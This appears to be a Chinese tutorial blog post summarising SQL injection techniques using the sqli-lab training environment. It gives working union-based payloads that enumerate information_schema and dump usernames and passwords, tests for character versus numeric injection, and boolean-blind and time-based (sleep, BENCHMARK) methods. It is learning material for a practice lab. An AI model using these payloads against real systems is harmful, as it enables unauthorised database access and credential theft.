sql注入知识点总结

铺垫知识:了解数据库基本操作,比如增删改查的基本语法,了解数据库基本结构。information_schema存储了所有表和列的名称,它是每个sql数据库都会有的一个表。

sql注入的知识点是很早就写过笔记的,所以这次就直接粘贴过来改改就发了吧。

实验环境:sqli-lab在GitHub上下载。如果觉得读文章比较枯燥在bilibil上有大佬们录制的关于sqli-lab的视频课程,值得一看。phpstudy集成环境,因为需要mysql服务。同时还要配置数据库的用户名和密码

sql注入可以分为

1.字符型注入

2.数字输入

3.布尔盲注

4.延迟注入

发现sql注入漏洞以后的基本操作方式:查库查表查列 查数据

先看sqli-lab第一关来大概了解以上几个步骤

Less-1

函数:group_concat 连接查询内容到同一行显示

查看所有数据库名

select schema_name from information_schema.schemata limit 0,1

显示所有数据库

select group_concat(schema_name) from information_schema.schemata

查询库中所有表(联合查询,这里只给出了后半段 前半段是一个空查询 比如select * from xxx where id=-1,-1是一个不存在的id)

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security' --+

查字段:select 1,2, group_concat(column_name) from information_schema.columns where table_name='users'--+

concat_ws(‘用于连接的字符’,需连接的查询内容,需连接的查询内容)

示例:group_concat(concat_ws('-',username,password)) from security.users --+

1.字符和数字型注入漏洞

判断字符型或者数字型注入

数字型:

select id=1 and 1=1 输出正常

select id=1 and 1=2 报错或者无显示内容 则为数字型

字符型

select id=1‘ and ‘1’=’1 --+ 输出正常

select id=‘1’ and ‘1’=‘2 --+ 报错或者无显示则为字符型

2.布尔盲注

所谓布尔盲注就是,当你的输入正确和错误的时候只会有两种页面,一般情况下遇到的sql注入漏洞都不会有直接的错误语句提示信息,比如提示你在你的sql语句里面的某一处出现了错误。

Less-5

布尔盲注:

补充:函数及其使用语法

select left(database(),n) n表示截取从database()返回的字符串的前n个

select user() regexp ‘n个需要查询的字符’  当n个字符可以与查询得到的字符串的前n个完全匹配时返回1 或者返回0

select user() like ‘n个字符%’ 与regexp相似 唯一区别为匹配的字符串后面加一个%

select substr(a,b,c)从b位置开始截取a字符串的c个长度

ascii 字符串或字符转变为ascii

嵌套使用

3.延迟性注入

延迟注入就是通过某些特定时间函数来确定sql语句是否执行,延迟注入可以让服务回应时间减慢,可以通过网络查看器或者主管感受来确定通过sql语句是否导致了服务器回应的延迟

典型的sleep函数,比如select sleep(5),这个语句将会使得服务器回应延迟达到5s

还有其他的延迟注入函数如:

BENCHMARK()函数

语法为:

BENCHMARK(count,expr)   
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值